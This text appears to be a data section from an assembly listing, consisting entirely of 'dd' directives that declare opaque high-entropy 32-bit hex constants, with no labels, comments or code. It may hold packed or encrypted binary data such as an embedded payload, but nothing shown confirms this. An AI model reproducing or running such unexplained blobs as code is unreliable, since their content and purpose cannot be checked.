		dd 69CA5674h, 413CB8DAh, 417D8952h, 1D7E609Fh, 0C2FAEA45h
		dd 1907D2CFh, 3D700B78h, 0B0610DCCh, 39FC5B46h,	0D1464732h
		dd 635A5771h, 5AF803Fh,	1D4FF1B2h, 0EE42F154h, 0B9A9624Ah
		dd 25171A00h, 2715ABB9h, 7255772h, 2844394h, 47C67723h
		dd 795193ADh, 0C262E390h, 880339C3h, 17174520h,	0C6150F46h
		dd 2DD2FDF8h, 3D84FB5Bh, 577A7045h, 536B9D1Ah, 0D05D2DB8h
		dd 84635581h, 0A054231Fh, 8FCAC6F6h, 0F59308B9h, 1FD6254Dh
		dd 4B4C1054h, 0B9F68215h, 93CAF62Ah, 3686F2FEh,	2C436B3h
		dd 9C502BE8h, 11A7B6AEh, 0B95D0C4Fh, 0E2088Fh, 43836173h
		dd 4F8061E2h, 358FE825h, 0FD64D0FDh, 8D5F6B8h, 49DF107Ah
		dd 9D4D3ECCh, 0A4DD08A6h, 12AF5C2Ah, 0A43B2723h, 2BEB7962h
		dd 7745571h, 1C6A19D5h,	2BE0770h, 0D3FEDBECh, 0BA143DB5h
		dd 9BF1BBDFh, 29749EBAh, 0C9511BADh, 1DB89981h,	7497E514h
		dd 0B160AF8h, 0B7D6589Bh, 0EC1083D8h, 0A44A995Bh, 4D5901Bh
		dd 85AFD13Ch, 0D1384819h, 1ECD5C9Ah, 864A0493h,	9D74F4D1h
		dd 4F97B3CDh, 0FEF95D7Ah, 2AB02EA7h, 64258BA8h,	8A6C3B2Ah
		dd 0E3BFA3E9h, 0EBB68748h, 0B9A8C1ACh, 48EFF8F1h, 2B808A51h
		dd 0BA47F701h, 11659F11h, 879A9F76h, 207FE3ACh,	0F9DDA2FFh
		dd 0E77F7C0Fh, 75E1156Bh, 69FBD742h, 5DB782A7h,	772F05B5h
		dd 0D170ACF0h, 0AE1ABC6Ch, 7963E55Fh, 71D0B9h, 0D11F70DCh
		dd 2485777Bh, 8E4B51B9h, 0B561E0B4h, 5E5D4715h,	125622BFh
		dd 160CB1DEh, 8AAABDADh, 2EA05D08h, 4D2C983Ah, 6D1AC830h
		dd 0A8B936Ch, 25573150h, 0DD6D4550h, 48F9A8B1h,	5704A517h
		dd 81E3F735h, 51DA2259h, 0CCF13552h, 3F3EFFB6h,	0D6073BE9h
		dd 0DE923222h, 0D80C50Dh, 6D511EA0h, 3B1C4B7Ch,	0AAFF9C35h
		dd 82550895h, 0D4868DC1h, 0F3BE4DAFh, 0C6BE4AFBh, 0F2E5F5F7h
		dd 1FD09123h, 113E5002h, 644F0B7Eh, 65C3089Fh, 5D52928Eh
		dd 0B191685h, 4EEE7BA5h, 206C3827h, 0E9965680h,	7DB84155h
		dd 0DB83099Bh, 70D0115Fh, 338882C3h, 422A6933h,	697C8441h
		dd 69927AD3h, 0CDC6F94Eh, 6EB14882h, 0F801505Ah, 58C06A8Ah
		dd 58A51E01h, 0A310928h, 0E40959F5h, 91AD9B08h,	0F2FD557Bh
		dd 0E5D74597h, 67D23C9Fh, 6AAE86D2h, 0E05CAFCEh, 0FF858207h
		dd 0ED8FB126h, 0D525370Bh, 1D85D63h, 0FB2D1041h, 0E67ED34Dh
		dd 0BB5F0669h, 0F3987E23h, 0EB9B23B6h, 52E20DEAh, 0E14FE117h
		dd 0AD7F34BBh, 0FF6A3AA9h, 20A2E8Eh, 0E6CE8BAAh, 0FB521D30h
		dd 278CC0F2h, 975552C9h, 9B1E6C91h, 99C9A6A8h, 6D1A4D50h
		dd 0B1C36ACBh, 0FC67ABB3h, 92241D3h, 125258Ch, 5B9766h
		dd 1E472E85h, 4C5A4C15h, 1D9354A5h, 0BA7328BAh,	0A3039BABh
		dd 50370BECh, 0FB6573AFh, 0B718A0AFh, 9BE31264h, 55687C7Ch
		dd 57470473h, 2B87E915h, 318C7D2Ah, 50DD66FEh, 66151681h
		dd 4276EB34h, 0FCE474CEh, 9FFB89FAh, 0A4DC2F50h, 8FDABC10h
		dd 0BA472E32h, 94766908h, 60D21F26h, 0E23CFF97h, 0B7AEA6BFh
		dd 82BFAFCBh, 136E14C1h, 0F1DB4320h, 301712C1h,	0A1602837h
		dd 17255BE6h, 8B4DB65Dh, 0BAEDF25Dh, 88446200h,	5857779Eh
		dd 23EB8BEFh, 8A443BC8h, 0A0E94BCEh, 25396A6h, 0C5F73855h
		dd 127D1502h, 0CB7A47Ch, 7209999Fh, 7C82BA10h, 0C28585AAh
		dd 0F9ABF0EFh, 79384FBAh, 173EF5B5h, 6D73FBF4h,	429D899Fh
		dd 55730D0Bh, 893D204h,	0B4E20C75h, 3084E0BBh, 474A7E10h
		dd 0A9ADABEDh, 0F7CE5143h, 452A335Bh, 9448F366h, 0FFB8EE1Dh
		dd 7AFAF7FDh, 711B9488h, 1352CEB3h, 0EAABA585h,	5EFC9C92h
		dd 0A6099935h, 6B964C1Fh, 885562F8h, 0C8ACD8FBh, 0DC6B5D77h
		dd 0F01D5F61h, 0E0A8A1DEh, 0BA458313h, 0C50D1CE3h, 2B51F1A4h
		dd 7DC1A75Dh, 0FC8C5AD2h, 6BA49228h, 0C5395C4h,	72E2895Eh
		dd 0B050E8AAh, 0D1B7FB04h, 0F5C0C2D7h, 797C1BD0h, 0A4459D64h
		dd 36B6746Dh, 15C6D7A5h, 5AC4A353h, 2FC9EE58h, 749DEC09h
		dd 0D9F40954h, 4AF1CD9Dh, 6F52791Dh, 595663B1h,	116299EEh
		dd 7F08DA63h, 0EC36A85Fh, 662546EAh, 0A6B22ABEh, 0D4AAB112h
		dd 0ECAA8380h, 576AF98Eh, 21F83D20h, 75D13D83h,	0CBBA489Ah
		dd 0F04D3D6Ah, 458E4AA9h, 8FA8AD56h, 3206F17Dh,	6EF082B4h
		dd 0A6F292BCh, 0E13821AFh, 0FE2E8AE1h, 0B33468DEh, 0A81AA820h
		dd 5146A69Bh, 30772A41h, 0CBAE5843h, 2983F685h,	0D8488D8Eh
		dd 0F3F662ACh, 45FFD87Eh, 52F78BD0h, 0D33F39D4h, 12182089h
		dd 9BBBB56Fh, 8530956Ah, 2AA52799h, 74F4D1FDh, 0DC0BDFA9h
		dd 0FF10522Ch, 1167C639h, 3AE7ADBFh, 0DFFE84E8h, 9CAE9E87h
		dd 0AAF8C4E5h, 7A8E903Ch, 0D748235Dh, 31FB9ADh,	79035296h
		dd 0EFC6203Ch, 59E110A2h, 35912DD0h, 0DB213089h, 7B0BD27Fh
		dd 0D0D15C8h, 0D8BA2059h, 5612BC01h, 53C269ACh,	2DAA1A0Ah
		dd 0E03ED758h, 0DBE6BEBAh, 82174357h, 0C5DD62D2h, 0B73614D4h
		dd 0C80AACCBh, 0CEE8A6EBh, 0EB510F6Ah, 32173DEAh, 71DD5536h
		dd 2A3C5645h, 52A0BEF0h, 220218D4h, 0A2AAEB5h, 0D608E2B4h
		dd 0EDE29486h, 0BB18ABBCh, 1C8ABF6h, 6E866AFEh,	170122F9h
		dd 57A45FEFh, 0FED029D6h, 2D2C8EB8h, 38E04FF2h,	561E74C5h
		dd 880B193Ch, 0B7539D72h, 5C02122Eh, 0A30B1F52h, 22D755FEh
		dd 0C844BAE1h, 3596F547h, 0C3329426h, 85B88CE0h, 0C7B16735h
		dd 2AF6E109h, 0B479028Ah, 0F7AEE1D7h, 62D0B611h, 5A47EBACh
		dd 0F8394837h, 766417BCh, 8D6DB8AEh, 0ABB9E5DFh, 4D3A107Eh
		dd 0EF8E6D2Ch, 0E4E19964h, 6FB2557Fh, 9CEA7F9Eh, 7DFBBB93h
		dd 30ABE68Ah, 0BB920EE2h, 46FB4E22h, 3031CDE0h,	358C3B01h
		dd 5688ABB9h, 1585289Bh, 9980457Bh, 30F156ADh, 0CA2396F8h
		dd 3BE35761h, 0E1F855FAh, 0FB6EE670h, 2ED0CD63h, 1D835FC0h
		dd 3080A529h, 0AD0C585Bh, 0D8C7E2EFh, 1C0D7DE5h, 4577722Dh
		dd 486616E8h, 674EBFF1h, 8A4826ABh, 167DE96Fh, 0EBB03451h
		dd 4822C68Ah, 49A756C8h, 84CB36B1h, 4ECA68A2h, 41D738A2h
		dd 0E6C3AC9Ah, 7F7A7CCDh, 91C3C033h, 0FE055478h, 114C1BE5h
		dd 0ACCA3F7Bh, 557B6522h, 5596A1Eh, 7389B719h, 635E7ED1h
		dd 0EA461354h, 0CA42A02Ah
		dd 4F3FA8FFh, 16E3A32Eh, 571F8BFAh, 9E1FF2B7h, 5DD346C6h
		dd 0D1CD6076h, 0A6E8F167h, 5F06014Ah, 0BE4E1E8Ah, 83DA6ACEh
		dd 0F0BCED75h, 6A0E2898h, 321DF5D2h, 0ABADF74Bh, 0F02840C7h
		dd 921651A7h, 9046088h,	0FAA9CE3Ch, 9128E523h, 0CB37DFCAh
		dd 72EFEA17h, 2CDC1D0Ch, 2AA284DAh, 3D8ADBBAh, 8B430F4Fh
		dd 756DBB91h, 532D1842h, 0F60CB717h, 49B2B40Eh,	81250C97h
		dd 406BEC74h, 0C5F7575Ch, 1A858778h, 80CFF0F9h,	1415D556h
		dd 89CFA2A8h, 0A0317F71h, 0FED25E61h, 0E381D19Eh, 45EB9DF2h
		dd 0CF5F29AEh, 80E2D375h, 5770DBBDh, 8EF881FDh,	0F172FBBEh
		dd 8FA924E7h, 0F77E2B24h, 0B5018EB2h, 1C573FE4h, 8BA97F45h
		dd 2181F24Bh, 0BE6308B5h, 9D9EC1FFh, 939A955Dh,	0DD65F67Fh
		dd 8646296Dh, 72FA1716h, 0D2128D72h, 1C038E85h,	0D8FBD26Ah
		dd 3AF7C845h, 8224B3Bh,	6E75BBD1h, 2F31A77Fh, 0B4EB4BEBh
		dd 7F6A4FDBh, 71A457E6h, 0A551B627h, 2FC25F2Ah,	0E62252FEh
		dd 2CAFCD90h, 0E8822EF0h, 502E4D1h, 30956228h, 658C19FCh
		dd 726054ABh, 0ECCA9E77h, 0E3EFF05Ch, 5B22AB05h, 0BDB58068h
		dd 97FEEA67h, 7657C67Fh, 2A7EC60h, 6EC65151h, 4D3BE9FBh
		dd 345DF818h, 0BE6688B0h, 30BA0BABh, 0EC8BF933h, 2D086CB6h
		dd 0B2CDA8BAh, 0FA713A41h, 7F247791h, 47C418FCh, 5547DC7Dh
		dd 99027DF2h, 5EE668D3h, 8055E970h, 543C36B8h, 381EBA44h
		dd 0C8399CFh, 3381F1A0h, 8ED2F566h, 0C9FBC5FDh,	95D8A8DCh
		dd 2917B9C8h, 0A6576632h, 34F26819h, 0EABA655Bh, 0CBEC40F8h
		dd 30080971h, 7BD0205Ah, 0D4308667h, 94022BBh, 7BA4666Fh
		dd 0E8C2717Ch, 0B4934B83h, 43A2E321h, 0AE202BAEh, 0B4CA8437h
		dd 0B57D0975h, 0F591A258h, 0AAE24299h, 0ADA61A0Ah, 7E1EA28Fh
		dd 0B3309088h, 640530D2h, 49990A9Ch, 0A2802BA5h, 0B989C334h
		dd 2AF6BED2h, 4559BAFBh, 1DFD8886h, 0D06AF9C5h,	30E49474h
		dd 0C17C250Ah, 0C4B7AD45h, 0CF3DBFh, 0C31BF35h,	0C328BFC4h
		dd 0BB717C86h, 6DE42048h, 468F4A8Eh, 565776A6h,	0AB93089h
		dd 49D9F4BBh, 1A5AFFD0h, 18A4D615h, 8C8334D2h, 0D391329Dh
		dd 0E12A4B6Fh, 0A281087h, 7DD7AB54h, 4072701Ah,	7FD30C65h
		dd 0BFE0EBFCh, 436B327Fh, 0ACA62CEEh, 0EC721F67h, 35008C4Eh
		dd 0B186480Dh, 0B4646C64h, 12F2C055h, 0B3430939h, 4ACCD3BBh
		dd 0C07D97C4h, 0AE03F0Bh, 0D846EA62h, 56AECE2Fh, 0D7B0205Eh
		dd 66752B8Fh, 36AEB984h, 0BF2E2708h, 703A2811h,	0BE43E956h
		dd 9F566DEFh, 0D6751157h, 80692671h, 472330B9h,	0E82555C0h
		dd 1D76989Dh, 0C9B9048Fh, 0F1D54547h, 0BF50DDCBh, 0C2AE666Ah
		dd 14316300h, 0A0E20BC5h, 0A751597Bh, 0BAC42E06h, 7D41E4D4h
		dd 0A8909756h, 8B6CBDCFh, 0D9C0904Fh, 0A18FA8A2h, 1C61566Fh
		dd 0B8E55430h, 7FD50FBFh, 0E6C8F35h, 0D9419786h, 9FC82BADh
		dd 0EDF2E747h, 57833E57h, 0F9B367C9h, 0D1568845h, 1148C8ACh
		dd 7608AD26h, 870D0D06h, 0BD4237CFh, 0B59255D8h, 0FA8E5712h
		dd 838B4140h, 5834D657h, 0EE9726AAh, 96FFE174h,	2A0A3069h
		dd 38AF50AEh, 0D3B5AEDDh, 6A7DD623h, 6DDD791h, 60DA1263h
		dd 0C44160C6h, 97BF0930h, 217CA8C0h, 5619C5F6h,	2EC22C4Dh
		dd 0E760748Bh, 33F725A9h, 7A41B567h, 834BFCE1h,	0BE15C1C6h
		dd 0C7C628DEh, 0CEFE3B17h, 462AD34Eh, 2B403728h, 0F3021D88h
		dd 0EAB7A72Bh, 804E62F8h, 0EF45A28Dh, 356D1D3Eh, 5C912267h
		dd 6467256h, 0A1065908h, 80371087h, 0F324DC3Ah,	44690CBCh
		dd 911A0353h, 14446234h, 8C3B388Dh, 0B0486C86h,	7C3C1C2h
		dd 177753D7h, 0C006A9B6h, 3E8C95AFh, 0DDA7F34h,	222D27FEh
		dd 2A20E05Dh, 4BD00C7Ch, 6E521F8h, 2E81D5A7h, 0ACB7FFE8h
		dd 0D2FC0D06h, 0D5D919E8h, 0C233B75Bh, 0F4E0F14Ch, 0AACD72CBh
		dd 34BD5F41h, 4F7CAEA5h, 8E16B45Fh, 0CE0EAFCh, 55639436h
		dd 0E9ECC621h, 18D6AB4Ch, 5D189F09h, 0C46C01FEh, 3DDBDA1Fh
		dd 6A024255h, 9581B505h, 0AEAC0555h, 0AE3F9C23h, 90D76048h
		dd 0F2EAE6FEh, 685D31CDh, 0C8C0D8EDh, 1731FBADh, 0BD7263BBh
		dd 757F2B94h, 1765C382h, 0FE2BA18Eh, 313A89DCh,	4C9CA063h
		dd 0D72FD683h, 6D5A56Fh, 7E29DF50h, 872599B9h, 0B42F84C7h
		dd 2AEE60D4h, 0AB03C6CFh, 50C25D16h, 4C5F791Bh,	823E7D72h
		dd 144125D6h, 8EBAF4E5h, 253F805h, 0C05496BAh, 5DFA96Ah
		dd 4F4A08B8h, 280E9F25h, 2564D0D0h, 254C0EEEh, 0A6964129h
		dd 0B4679358h, 0E5EAB350h, 0E7AE324Bh, 2F48E2DFh, 9186E1Fh
		dd 31CEB117h, 0C9024C8Ch, 0F8AF1347h, 0CBE4F9F2h, 0E67DE676h
		dd 9D481F54h, 0A0DFB5DFh, 0C3A8B2ABh, 0F5853181h, 5F22ABDEh
		dd 0BFB1BB05h, 11E5C7DCh, 5054B708h, 8814CCB6h,	0F3BF5D6Ch
		dd 0D2D1A711h, 2BA67BA4h, 83B9ECC9h, 0C93B633Ah, 534E123Ah
		dd 669B2FA2h, 21592B90h, 15552E80h, 0A165BAF3h,	0CAE323D9h
		dd 0DFF9D674h, 926AF984h, 123CAAABh, 0C622EA5h,	573D6CCh
		dd 6ABCE3B5h, 0F8B98DBAh, 0D5631FB3h, 50B56B2Bh, 0BE4EEBA8h
		dd 1FC3D759h, 9DB7B05h,	7DEEF175h, 0F2BEB099h, 5D753E44h
		dd 5DED7AB5h, 0EE280BF1h, 0D528BB58h, 2CC4F55Eh, 47F1512Ch
		dd 0E0D48184h, 402AE595h, 2AFCE9ADh, 51B5E3h, 21C77A7Dh
		dd 5E76362h, 307AC06Ch,	0B268C0F2h, 0FC3C0924h,	7542C0C5h
		dd 52952115h, 6861655h,	2D1417F0h, 0EFD1212Bh, 0E5CAC2FFh
		dd 5CBBD55Dh, 6B42108Bh, 0BFBDEAF3h, 325DE8D3h,	0D840F3C7h
		dd 80E1C904h, 24CF7D7Fh, 4310DC45h, 0E1F8CDEAh,	3048A455h
		dd 92B44290h, 0FC0A3203h, 24AE4BA5h, 7EE061D0h,	83E7A497h
		dd 45037BE1h, 0D2BA9B13h, 0BACBC865h, 5573A738h, 462D6953h
		dd 45DAFB6Bh, 72EFF64Ch, 0F00B116Fh, 914DD99h, 0E235957Dh
		dd 522D57E4h, 9AE153B5h, 15D1180Ch, 0CEBEE24Ah,	0F9AE6DA1h
		dd 0D7975863h, 3D9DBE7h, 6FD4C7C3h, 0E943D97Fh,	7AC4862Ah
		dd 0E649745h, 0C66399DAh, 4162DD6Ch, 5A14EAE9h,	1CA2B569h
		dd 4747CB41h, 45567916h, 0D6BC55BEh, 0B6267AB8h, 77F36DC0h
		dd 4DEFBA7Eh, 0D0A1BF52h, 520826BEh, 38AF57CAh,	0C5465279h
		dd 0C3548424h, 8A0F3A57h, 558D56A1h, 10021217h,	5074DBD7h
		dd 0AF906FEAh, 24EA4FCBh, 0EA78B959h, 0F7C33214h, 88C5925Fh
		dd 0D1B846DBh, 0A0E22542h, 0CB72CA2Ah, 0D44F53A2h, 61B4A412h
		dd 0CA5AD77Ah, 1B37D227h, 695795F6h, 61CAD880h,	1819F1A6h
		dd 0C70C36D0h, 0D99E97C4h, 74C5D955h, 452E9632h, 22D5DD1Fh
		dd 37BA09B4h, 14203ACh,	0DFB15CDAh, 842648A7h, 507598Dh
		dd 67010FC1h, 33FFF534h, 9FFBF3D1h, 28547222h, 0A1D4580h
		dd 4AA94216h, 0D3687438h, 50CA83A0h, 35AE425Dh,	28D42F3Ch
		dd 2ACF1E90h, 38BED0A1h, 70178D03h, 0A18BF12Ah,	0D05147E7h
		dd 30D0369Ah, 0BF88DFE8h, 0A6BA122Ah, 2BE05856h, 28B7D12Ah
		dd 61685D3Dh, 5F6BA0B3h, 73E13D27h, 433A7963h, 0F4089253h
		dd 0F846F80Bh, 460CB99Ah, 68E1B0EBh, 5675CF32h,	804B2327h
		dd 0AFF72D15h, 29B87D1Ch, 0DE48172Ch, 28DF455Eh, 4BD744B1h
		dd 1B62FE8Eh, 5F4F2109h, 881E7DF6h, 0AEA5C1BEh,	557E2FF0h
		dd 5E75E1FCh, 38EAC561h, 688B7915h, 0A2A909B3h,	12A8EA76h
		dd 0CD02346h, 1F0C2BF8h, 86E8CFBBh, 59464A38h, 77ECDEA4h
		dd 8239D9C4h, 0DA9A3A3Ah, 0E25ABC0Ah, 98CE829Ch, 3E68FB8h
		dd 6F720EAh, 0AA20192Ch
		dd 9A86DC0Ch, 47D617DAh, 6BD1CF38h, 0A541845Ch,	164AAE8Bh
		dd 13A28D85h, 43303A73h, 5C488BAFh, 87432714h, 13987E77h
		dd 1814F5C8h, 0D28F9F45h, 0CA1730E0h, 0A28FAE61h, 8AF88FB5h
		dd 57D3BF36h, 7B458AB1h, 0B3D92D45h, 9F8F15F0h,	517A718Fh
		dd 0F916EBECh, 0B05308DFh, 61D942Eh, 61511DC3h,	52955E71h
		dd 3E88DF7Eh, 0EF8AFC18h, 92F20142h, 2E16ECAFh,	0FD57E79Eh
		dd 328FA8D0h, 4B1AB474h, 1F488AABh, 58BF2154h, 0CEB8C2A5h
		dd 4468E773h, 0FF74F890h, 9A508617h, 83E6338Dh,	0A1ED0403h
		dd 28EA8100h, 7FB9B7E3h, 0F5A8A092h, 70F87D65h,	12DFEBACh
		dd 74552A7Dh, 66596922h, 56888549h, 414D77B9h, 17AB7AE7h
		dd 0F0CACCBCh, 4F5CB0E9h, 4A0A391h, 0FE69771Bh,	82D031Fh
		dd 0C3FD85F8h, 0ECE9A370h, 0A3950C55h, 9547D3A1h, 5C99375Dh
		dd 0A406D21Ah, 4EADBA0Bh, 8F595D61h, 8F44ED9Dh,	0E284CAB2h
		dd 72D6061Eh, 9B10AD65h, 7E16056Fh, 1BA47535h, 2065BF10h
		dd 0E9B8AC05h, 0AFF3A2F7h, 0EB090E41h, 68E225D5h, 3EB54511h
		dd 30017829h, 3DEEE0D2h, 83819140h, 57E072D2h, 32422D01h
		dd 90711484h, 395E0269h, 0FC45ABB0h, 732057DEh,	14E00A53h
		dd 0FA457DD1h, 0F6E2C3F0h, 0B0442B25h, 0AE94C3FFh, 20E7BBD6h
		dd 3CA0EC5Fh, 9C97A693h, 880C68CAh, 8EFF8064h, 0CBF609C4h
		dd 0AA294B7Bh, 5341FAABh, 537A59A7h, 6C6239B9h,	45A5460Ah
		dd 63322D58h, 181088B7h, 0C52E9C2Ch, 5C8D21E8h,	44A49251h
		dd 9C148064h, 65143F0Bh, 4FAEEE06h, 6803C801h, 1E4CFA62h
		dd 0F31BD763h, 0FB9AC256h, 0B5DE4442h, 0AC63DB58h, 0E55FDB74h
		dd 0CC44711Dh, 1FB63C8Fh, 76B4F582h, 0C926C4F9h, 3AD0511h
		dd 74F4377Ah, 7A6C1205h, 97014000h, 5900A5D9h, 31A8D97Bh
		dd 98A63D28h, 8C484490h, 66382246h, 0A1861122h,	90539964h
		dd 8B7A3408h, 0F8961804h, 82553CFFh, 212AAAE5h,	0E30AC528h
		dd 0BC92168Ah, 0E0F726FAh, 39769CB6h, 0B700080Dh, 2C5271BDh
		dd 0AC098E0Dh, 0BE255524h, 48915D52h, 605594Bh,	4A08184Ch
		dd 5830032Ah, 0C0320190h, 0F44F0841h, 0F28B10BAh, 0AD123AFCh
		dd 80511262h, 2AB22C4Fh, 0CDA245FAh, 6DF28D64h,	0C2ECA2BFh
		dd 9F54BB8Bh, 64E67B84h, 11DADAA0h, 32220EFFh, 0F529053Fh
		dd 0EA20993Dh, 0FAEDB28Fh, 0C72F533Fh, 376BDC1Ch, 5C5D9F96h
		dd 48BA780Eh, 32721A11h, 92A50C0h, 222884BDh, 0BF3311B4h
		dd 353041D4h, 0C26A19h,	0C234C235h, 347034D0h, 40C2A0C2h
		dd 75DC234h, 1DF43410h,	654C76E8h, 0DDBF0FC3h, 0F77ECD89h
		dd 0A3B78AE4h, 6323348h, 0F92874BBh, 0E349AB73h, 5887A395h
		dd 0CBAA1DD9h, 86B4E32Ch, 0A277BDFh, 465E224Fh,	7020D16Bh
		dd 0DD78B417h, 0E9E5AF56h, 57EBCA77h, 91C12198h, 0C655D312h
		dd 750E2029h, 0B9572648h, 0BA9C6Eh, 2E6A55D4h, 0FB103055h
		dd 9C5A660Eh, 4AD75230h, 0EE93A48Fh, 0B0E63CFBh, 0EEB4EC7Ah
		dd 0BB39E5D8h, 5CC7F904h, 9B47BE44h, 0BA935BF9h, 9A74231Eh
		dd 9DA9534Ch, 0B1922B2Eh, 4E6275E3h, 0F5C89F44h, 1FD3D10h
		dd 95101CAFh, 0E1BFE201h, 0FF6BAE6Dh, 77C02BAFh, 0EA2FB421h
		dd 0B00260FAh, 0B0C5157Ah, 8BFE62E7h, 0A2AC5560h, 15DAAA43h
		dd 0FDA0DC4Ah, 909A8CEBh, 7E88BA38h, 0CD9D4071h, 17026DFBh
		dd 988D02F5h, 0D088AAFh, 4ECDA3A2h, 39187255h, 207D4098h
		dd 0D6DED134h, 55D5FAEh, 0E87183C9h, 95FF465Ch,	29501470h
		dd 98C5B340h, 6505405Fh, 9705F45Dh, 0FB5846E5h,	95974BFAh
		dd 0A6544AC6h, 0F020D1F0h, 9282F29Fh, 2A3CFA11h, 0B3DC8E00h
		dd 0E9FC81A6h, 9994AB84h, 50275D58h, 6255ED2Dh,	52D8940Fh
		dd 6713F524h, 0BADFDA03h, 5342BF41h, 4AAF4E8Dh,	0FFD6B10h
		dd 591F5009h, 0C63655D6h, 81351C4Fh, 0EC55893Fh, 0CEA9D71Eh
		dd 95DFEA60h, 0AD592A75h, 959A2690h, 48825DD8h,	0C05A9E02h
		dd 60B9AA7Ch, 1EB5BEF7h, 1A211972h, 7A65959Dh, 0C822017Eh
		dd 9CA25FC1h, 0C5551D72h, 5F50FD2Ah, 5A3240E4h,	0CFC12F8h
		dd 153319C7h, 512F8C3Fh, 17B486F4h, 0F6FAE0F6h,	0A70A7D95h
		dd 6277965Ch, 4F709297h, 0AE3DEBAh, 52CD3FB7h, 1D5C3355h
		dd 4563161Dh, 2DB9ECCBh, 0F17A38BBh, 0B6B6F05Ah, 9CDF49EBh
		dd 2AE2615Fh, 0B9706297h, 0ED10BBE2h, 2BE68D2h,	0E2A8168Fh
		dd 0BB8614A6h, 32041FAAh, 400408Dh, 0A271E0D9h,	5DEFCF65h
		dd 4B0A9C70h, 1474823Ah, 6D6371A5h, 0B9202297h,	0A035750Ah
		dd 0F08F8FFDh, 0A3A55643h, 4C3BA084h, 0AB10DE59h, 91CD9430h
		dd 83E662BBh, 9E953BEFh, 926545C1h, 3B3BF1EEh, 0A8567AAAh
		dd 0DC6C75D0h, 3C7A2D47h, 2260BFDDh, 0E179B665h, 0A0AFC2DCh
		dd 428C179Ch, 1D7B85C3h, 0B85E2645h, 92052281h,	9A113E5Eh
		dd 819DBE8Ah, 0EE292472h, 0EDF04D28h, 8F46ACC4h, 0C8924422h
		dd 0CE271C21h, 0F5B86DC8h, 0B372D5B5h, 0B8A71A48h, 7B8B2D7Eh
		dd 310F6251h, 0C2204B64h, 77F1021Eh, 0F82321F0h, 0E6D19C2Fh
		dd 3B85585Fh, 0A4A2743Bh, 3F385550h, 7BBCFA20h,	16AACCA5h
		dd 5F965457h, 8E4659Ah,	0FAAB6743h, 58831121h, 8586268Ch
		dd 5502056Ah, 0FE2254C1h, 1BF85312h, 0ECE15528h, 0B555B08Bh
		dd 82FE6080h, 9F4509C9h, 0E9491B9h, 528C148Eh, 0F8B35330h
		dd 0ACAA883Eh, 1D262AD9h, 0C631CDCCh, 0F5862E10h, 8D1BA119h
		dd 5643462h, 0E99ECCA0h, 0A082213Bh, 29E54F40h,	7653277Ah
		dd 4E2062F0h, 4689D42Eh, 8091A880h, 4F5CE395h, 605F76ABh
		dd 0C744CC7h, 0A634C43h, 4194007Ah, 3CEF9095h, 0B4996DA3h
		dd 55A34513h, 4FEE6CCh,	601989D9h, 309D9027h, 0E9624FF2h
		dd 15C96C4Fh, 0F13F7551h, 0D2C48274h, 9D1A489h,	9A275725h
		dd 5C9EC4FEh, 33A94211h, 4EF0277Dh, 56A6F938h, 13FA6751h
		dd 0B8452773h, 9DA4809Dh, 0A0907288h, 7EB94DC0h, 0EA5C57EBh
		dd 8A662CDh, 1E5F18ABh,	8C113D90h, 27F30199h, 9997529h
		dd 7E0C3115h, 0B1ABE6A1h, 0D14CE8C2h, 0D9392A21h, 97D54BF9h
		dd 63588E55h, 168F3785h, 0DEF1127Dh, 0B3F7D34h,	6BC7C760h
		dd 4B270AC7h, 0FCB5E294h, 788DDD39h, 0CCE6177Ch, 2793731Fh
		dd 96A8FA5Dh, 8510D563h, 0AD841245h, 1CB8D75Fh,	72AACFABh
		dd 0D7B50DBDh, 9D9DC72Ah, 0EAE5BF4h, 4E5A87E1h,	5A40B9C1h
		dd 53FF34BBh, 3EC4F2E8h, 0F05E3711h, 2D646AF8h,	0E0E38305h
		dd 0D17F5D1Bh, 0DD76C10Dh, 0E1FA1439h, 72542972h, 0FAF7E54Ch
		dd 8A91E78Ch, 0BA3F62CAh, 17A4C1EFh, 992C3CCAh,	0A2B2CDF5h
		dd 1207094Fh, 73AEDB41h, 0B16A583Ah, 0A9BDC930h, 3AFE488h
		dd 0BE8A4549h, 0FCCA6107h, 92A3D29Ch, 0A1468AFEh, 7E2FF32Dh
		dd 0DDD2CA22h, 9052777Ah, 14849E03h, 0A132D400h, 0B4D1698h
		dd 0C0527E64h, 0C2F14B44h, 0D18CAF0Fh, 8A78246h, 9EC6D13Fh
		dd 622D655Fh, 0A5080A6Ah, 14C13845h, 0B27AB441h, 9107FA25h
		dd 8D526F5Bh, 4A5D5262h, 8FC60A43h, 93A86F16h, 0B04B8589h
		dd 3194C14Dh, 0B98BD77Eh, 0C37301EBh, 0E6BB0225h, 9279C56Ah
		dd 0B4CCC2Eh, 0CEA26EB4h, 2C07549Dh, 21882A84h,	618F2EB3h
		dd 768092Ah, 8936680h, 7AA63Ah,	0E505E69Fh, 7B096F2Dh
		dd 0BEC0D4ACh, 16FFC7A9h, 41A91489h, 0C03BA864h, 0BC01D08Ah
		dd 8922469Ah, 0C114E899h, 8F062430h, 0D4874829h, 0F0E57D02h
		dd 5C5D4B01h, 82A1B700h, 6F7E6B4Ch, 3026565Fh, 2554570Ah
		dd 0F1376C50h, 183F876Dh
		dd 7CD0CF58h, 8A31FC5h,	8085652Ah, 0E466E9B2h, 30D565Dh
		dd 0C3E5ED55h, 0D1F08F32h, 6B7A4221h, 29793AD4h, 553D2D41h
		dd 0CD147FD8h, 882A8FC6h, 7344DF18h, 0B12DDC7h,	20C28A2Fh
		dd 0E7A09C69h, 6A56A880h, 0A775A860h, 44AEE6C0h, 0FBC346A3h
		dd 0CB420C38h, 0F6EA53F6h, 0F16E5299h, 95C7D577h, 0ACA028BEh
		dd 5642D35Fh, 51AE3A39h, 9280B357h, 3B403189h, 0BA4F4E6h
		dd 74187D80h, 41B41453h, 75E685F5h, 0C6FE37D6h,	5F2456EDh
		dd 7D663A37h, 1C5EC040h, 0E9B03C09h, 2617D574h,	6321895Ah
		dd 2CD25588h, 0FE22EAAEh, 1D9ECF8Bh, 0D836D280h, 0F22CC097h
		dd 35E3842Ah, 0ECDFFB75h, 55F2EEBBh, 84D3A4EDh,	0C06F8059h
		dd 4064150h, 0A67C41DAh, 9BC89934h, 1070C51h, 0F9191ECFh
		dd 5CC30692h, 72290C5h,	0D79B675Ah, 2DDE1FD5h, 544E19FFh
		dd 0AF16847Eh, 1875630Bh, 61C5CC4Ah, 0D900633Ch, 0EF7995D8h
		dd 1D6C7F6h, 3DD6A8CCh,	0BEA3401h, 857D5626h, 0C4814D9Bh
		dd 7D90832Eh, 26354013h, 0FDF7508Dh, 91DC699Fh,	87D641B6h
		dd 0D225E6B3h, 0C2B03868h, 0E12D5B01h, 1BF1E232h, 0D66E4762h
